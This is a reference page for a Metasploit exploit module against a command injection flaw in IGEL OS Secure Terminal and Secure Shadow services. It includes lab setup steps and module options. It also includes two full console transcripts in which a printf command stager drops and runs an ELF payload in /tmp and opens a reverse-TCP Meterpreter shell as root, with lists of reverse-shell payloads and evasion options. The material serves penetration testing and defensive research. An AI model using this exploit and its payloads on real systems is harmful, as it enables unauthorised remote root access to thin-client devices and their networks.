IGEL OS Secure VNC/Terminal Command Injection RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/igel_command_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: IGEL OS Secure VNC/Terminal Command Injection RCE
Module: exploit/linux/misc/igel_command_injection
Source code: modules/exploits/linux/misc/igel_command_injection.rb
Disclosure date: 2021-02-25
Last modification time: 2021-04-30 15:38:57 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 30022
List of CVEs: -
This module exploits a command injection vulnerability in IGEL OS Secure Terminal and Secure Shadow services. Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/misc/igel_command_injection
msf exploit(igel_command_injection) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT: The target port
Knowledge Base
Vulnerable Application
IGEL OS before 11.04.270 and 10.06.220 are vulnerable to remote command execution into a system() call via Secure Terminal and Secure
Shadow services.
Secure Terminal/telnet_ssl_connector: 30022/tcp Secure Shadow/vnc_ssl_connector: 5900/tcp
Verification Steps
Download Vulnerable IGEL OS version (e.g. 11.04.130) from: https://www.igel.com/software-downloads/workspace-edition/.
Unpack downloaded zip file and create a VM using the included .iso.
Navigate through the installation menus to install the firmware, reboot when prompted
After rebooted work through the presented configuration wizard. In the Activation section use the starter license (selected by default). Skip the ICG Agent Setup. Upon completion the system will reboot again.
Turn on vulnerable services
- Click on the launcher menu
- Click on the gear icon
- Select "Setup" from the Application menu to launch the Setup app
- Enable vulnerable VNC service wrapper
- Under the configuration menu on the left Navigate to: System > Remote Access > Shadow.
- Ensure "Allow remote shadowing" and "Secure mode" are checked.
- Enable vulnerable terminal wrapper
- Under the configuration menu on the left Navigate to: System > Remote Access > Secure Terminal.
- Ensure "Secure Terminal" is checked.
Exploitation
- start msfconsole
use exploit/linux/misc/igel_command_injectionset RHOST [TARGET IP]set RPORT [30022 or 5900]set LHOST [LOCAL IP]exploit
Misc
To obtain the IGEL's IP address to test against click the up/down arrows on the right side of the task bar then click "More Details". A shell is available on a virtual console by ctrl+alt+F11, switch back to the GUI with ctrl+alt+F1.
This module has been successfully tested against IGEL OS 11.04.130 and 10.05.500.
Scenarios
IGEL OS 11.04.130
Targeting the Secure Terminal service (30022/tcp):
msf6 > use exploit/linux/misc/igel_command_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/misc/igel_command_injection) > set rhost 192.168.37.133
rhost => 192.168.37.133
msf6 exploit(linux/misc/igel_command_injection) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(linux/misc/igel_command_injection) > set verbose true
verbose => true
msf6 exploit(linux/misc/igel_command_injection) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] 192.168.37.133:30022 - Executing automatic check (disable AutoCheck to override)
[*] 192.168.37.133:30022 - IGEL OS Version: 11.04.130.01
[+] 192.168.37.133:30022 - The target appears to be vulnerable.
[*] 192.168.37.133:30022 - Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0'>>/tmp/oNwdw", "printf '\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\355\\0\\0\\0\\206\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\2\\130\\315\\200\\205\\300\\164\\6\\61\\300\\260\\1\\315\\200\\152\\2'>>/tmp/oNwdw", "printf '\\130\\315\\200\\205\\300\\164\\6\\61\\300\\260\\1\\315\\200\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150'>>/tmp/oNwdw", "printf '\\300\\250\\45\\1\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152'>>/tmp/oNwdw", "printf '\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300'>>/tmp/oNwdw", "printf '\\170\\20\\133\\211\\341\\231\\262\\152\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/oNwdw", "chmod +x /tmp/oNwdw", "/tmp/oNwdw", "rm -f /tmp/oNwdw"]
[*] 192.168.37.133:30022 - executing: printf '\177\105\114\106\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\124\200\4\10\64\0\0\0\0\0\0\0\0\0\0\0\64\0\40\0\1\0\0\0\0\0\0\0\1\0\0\0'>>/tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 16.45% done (149/906 bytes)
[*] 192.168.37.133:30022 - executing: printf '\0\0\0\0\0\200\4\10\0\200\4\10\355\0\0\0\206\1\0\0\7\0\0\0\0\20\0\0\152\2\130\315\200\205\300\164\6\61\300\260\1\315\200\152\2'>>/tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 32.67% done (296/906 bytes)
[*] 192.168.37.133:30022 - executing: printf '\130\315\200\205\300\164\6\61\300\260\1\315\200\152\12\136\61\333\367\343\123\103\123\152\2\260\146\211\341\315\200\227\133\150'>>/tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 49.01% done (444/906 bytes)
[*] 192.168.37.133:30022 - executing: printf '\300\250\45\1\150\2\0\21\134\211\341\152\146\130\120\121\127\211\341\103\315\200\205\300\171\31\116\164\75\150\242\0\0\0\130\152'>>/tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 65.45% done (593/906 bytes)
[*] 192.168.37.133:30022 - executing: printf '\0\152\5\211\343\61\311\315\200\205\300\171\275\353\47\262\7\271\0\20\0\0\211\343\301\353\14\301\343\14\260\175\315\200\205\300'>>/tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 81.79% done (741/906 bytes)
[*] 192.168.37.133:30022 - executing: printf '\170\20\133\211\341\231\262\152\260\3\315\200\205\300\170\2\377\341\270\1\0\0\0\273\1\0\0\0\315\200'>>/tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 95.03% done (861/906 bytes)
[*] 192.168.37.133:30022 - executing: chmod +x /tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 97.13% done (880/906 bytes)
[*] 192.168.37.133:30022 - executing: /tmp/oNwdw
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.37.133
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.133:50500) at 2021-04-30 15:33:12 -0500
[*] 192.168.37.133:30022 - Command Stager progress - 98.23% done (890/906 bytes)
[*] 192.168.37.133:30022 - executing: rm -f /tmp/oNwdw
[*] 192.168.37.133:30022 - Command Stager progress - 100.00% done (906/906 bytes)
meterpreter > getuid
Server username: root @ ITC000C29EB2C06 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : ITC000C29EB2C06.LOCALDOMAIN
OS : IGEL V11 (Linux 5.4.48)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
IGEL OS 11.04.130
Targeting the Secure Shadowing service (5900/tcp):
msf6 exploit(linux/misc/igel_command_injection) > set target 1
target => 1
msf6 exploit(linux/misc/igel_command_injection) > options
Module options (exploit/linux/misc/igel_command_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.37.133 yes The target host(s), range CIDR identifier, or hosts file with synt
ax 'file:'
RPORT 5900 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all addresses
.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.37.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Secure Shadow Service
msf6 exploit(linux/misc/igel_command_injection) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] 192.168.37.133:5900 - Executing automatic check (disable AutoCheck to override)
[*] 192.168.37.133:5900 - IGEL OS Version: 11.04.130.01
[+] 192.168.37.133:5900 - The target appears to be vulnerable.
[*] 192.168.37.133:5900 - Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0'>>/tmp/SVRVj", "printf '\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\355\\0\\0\\0\\206\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\2\\130\\315\\200\\205\\300\\164\\6\\61\\300\\260\\1\\315\\200\\152\\2'>>/tmp/SVRVj", "printf '\\130\\315\\200\\205\\300\\164\\6\\61\\300\\260\\1\\315\\200\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150'>>/tmp/SVRVj", "printf '\\300\\250\\45\\1\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152'>>/tmp/SVRVj", "printf '\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300'>>/tmp/SVRVj", "printf '\\170\\20\\133\\211\\341\\231\\262\\152\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/SVRVj", "chmod +x /tmp/SVRVj", "/tmp/SVRVj", "rm -f /tmp/SVRVj"]
[*] 192.168.37.133:5900 - executing: printf '\177\105\114\106\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\124\200\4\10\64\0\0\0\0\0\0\0\0\0\0\0\64\0\40\0\1\0\0\0\0\0\0\0\1\0\0\0'>>/tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 16.45% done (149/906 bytes)
[*] 192.168.37.133:5900 - executing: printf '\0\0\0\0\0\200\4\10\0\200\4\10\355\0\0\0\206\1\0\0\7\0\0\0\0\20\0\0\152\2\130\315\200\205\300\164\6\61\300\260\1\315\200\152\2'>>/tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 32.67% done (296/906 bytes)
[*] 192.168.37.133:5900 - executing: printf '\130\315\200\205\300\164\6\61\300\260\1\315\200\152\12\136\61\333\367\343\123\103\123\152\2\260\146\211\341\315\200\227\133\150'>>/tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 49.01% done (444/906 bytes)
[*] 192.168.37.133:5900 - executing: printf '\300\250\45\1\150\2\0\21\134\211\341\152\146\130\120\121\127\211\341\103\315\200\205\300\171\31\116\164\75\150\242\0\0\0\130\152'>>/tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 65.45% done (593/906 bytes)
[*] 192.168.37.133:5900 - executing: printf '\0\152\5\211\343\61\311\315\200\205\300\171\275\353\47\262\7\271\0\20\0\0\211\343\301\353\14\301\343\14\260\175\315\200\205\300'>>/tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 81.79% done (741/906 bytes)
[*] 192.168.37.133:5900 - executing: printf '\170\20\133\211\341\231\262\152\260\3\315\200\205\300\170\2\377\341\270\1\0\0\0\273\1\0\0\0\315\200'>>/tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 95.03% done (861/906 bytes)
[*] 192.168.37.133:5900 - executing: chmod +x /tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 97.13% done (880/906 bytes)
[*] 192.168.37.133:5900 - executing: /tmp/SVRVj
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 192.168.37.133
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.133:50502) at 2021-04-30 15:34:22 -0500
[*] 192.168.37.133:5900 - Command Stager progress - 98.23% done (890/906 bytes)
[*] 192.168.37.133:5900 - executing: rm -f /tmp/SVRVj
[*] 192.168.37.133:5900 - Command Stager progress - 100.00% done (906/906 bytes)
meterpreter > getuid
Server username: root @ ITC000C29EB2C06 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : ITC000C29EB2C06.LOCALDOMAIN
OS : IGEL V11 (Linux 5.4.48)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/misc/igel_command_injection exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/igel_command_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/misc/igel_command_injection) > show info
Name: IGEL OS Secure VNC/Terminal Command Injection RCE
Module: exploit/linux/misc/igel_command_injection
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-02-25
Provided by:
Rob Vinson
James Brytan
James Smith
Marisa Mack
Sergey Pashevkin
Steven Laura
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Secure Terminal Service
1 Secure Shadow Service
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 30022 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a command injection vulnerability in IGEL OS
Secure Terminal and Secure Shadow services. Both Secure Terminal
(telnet_ssl_connector - 30022/tcp) and Secure Shadow
(vnc_ssl_connector - 5900/tcp) services are vulnerable.
References:
https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html
https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt
Module Options
This is a complete list of options available in the linux/misc/igel_command_injection exploit:
msf6 exploit(linux/misc/igel_command_injection) > show options
Module options (exploit/linux/misc/igel_command_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 30022 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Secure Terminal Service
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/igel_command_injection exploit:
msf6 exploit(linux/misc/igel_command_injection) > show advanced
Module advanced options (exploit/linux/misc/igel_command_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, printf)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL true yes Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/igel_command_injection module can exploit:
msf6 exploit(linux/misc/igel_command_injection) > show targets
Exploit targets:
Id Name
-- ----
0 Secure Terminal Service
1 Secure Shadow Service
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/igel_command_injection exploit:
msf6 exploit(linux/misc/igel_command_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/adduser normal No Linux Add User
21 payload/linux/x86/chmod normal No Linux Chmod
22 payload/linux/x86/exec normal No Linux Execute Command
23 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
26 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
27 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
29 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
36 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
37 payload/linux/x86/read_file normal No Linux Read File
38 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
41 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
42 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
43 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
44 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
48 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
49 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
50 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
51 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/igel_command_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/igel_command_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed executing payload with error <E>.
Here is a relevant code snippet related to the "Failed executing payload with error <E>." error message:
121: ensure
122: disconnect
123: end
124:
125: def exploit
126: execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
127: rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
128: fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
129: end
130:
131: end
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE: Not available
- https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html
- https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt
See Also
Check also the following modules related to this module:
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/aerospike_database_udf_cmd_exec
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/hikvision_rtsp_bof
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/hp_nnmi_pmd_bof
- exploit/linux/misc/hp_vsa_login_bof
- exploit/linux/misc/ib_inet_connect
